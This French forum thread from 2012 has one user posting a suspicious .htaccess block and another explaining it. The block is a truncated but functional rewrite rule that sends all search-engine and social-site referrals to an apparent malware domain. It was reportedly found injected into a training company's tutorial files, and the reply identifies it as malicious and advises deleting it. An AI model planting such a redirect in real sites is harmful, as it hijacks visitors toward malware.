Rewrite bizarre, votre avis ?

**grassel** · 29/09/2012, 09h27

Bon jour à tous.

Je ne sais trop où poster ce sujet, j'espère être au bon endroit.

Quelqu'un peut-il me dire à quoi correspond ce rewrite trouvé dans un .htacess, en fait quelle est sa fonction ici ?

les petits points dans le code représente un coupure dans les arguments car bien trop long à faire tout figurer ici.

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
#d93065#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber- ... belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchkarchiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://rycgoka.ru/count1.php [R=301,L]
</IfModule>
#/d93065#

**_Mac_** · 30/09/2012, 22h35

C'est pas bien compliqué. %{HTTP_REFERER} est le referrer, c'est-à-dire l'URL de la page qui a amené vers la page visitée. Donc si ce referrer contient l'un des mots indiqués dans la suite et séparés par des |, alors la règle (RewriteRule) est activée. Et cette règle fait tout simplement une redirection vers un super site réputé pour utilisé par un malware. En d'autres mots, ce code rend un site quasi inutilisable. Il faut supprimer ces lignes.

**grassel** · 01/10/2012, 12h06

Merci _Mac_

J'ai eu le fin nez, je m'en doutais

Ce qui est terrible, c'est que j'ai découvert ce code dans les fichiers de tuto vidéo d'une société connue de formation, avec également un script javascript sur leurs pages html, pointant vers ce même site.... BRAVO

Que me conseilles-tu pour me familiariser à l'écriture (syntaxe et argument) et utilisation de htacess et htpassword ?

bonne journée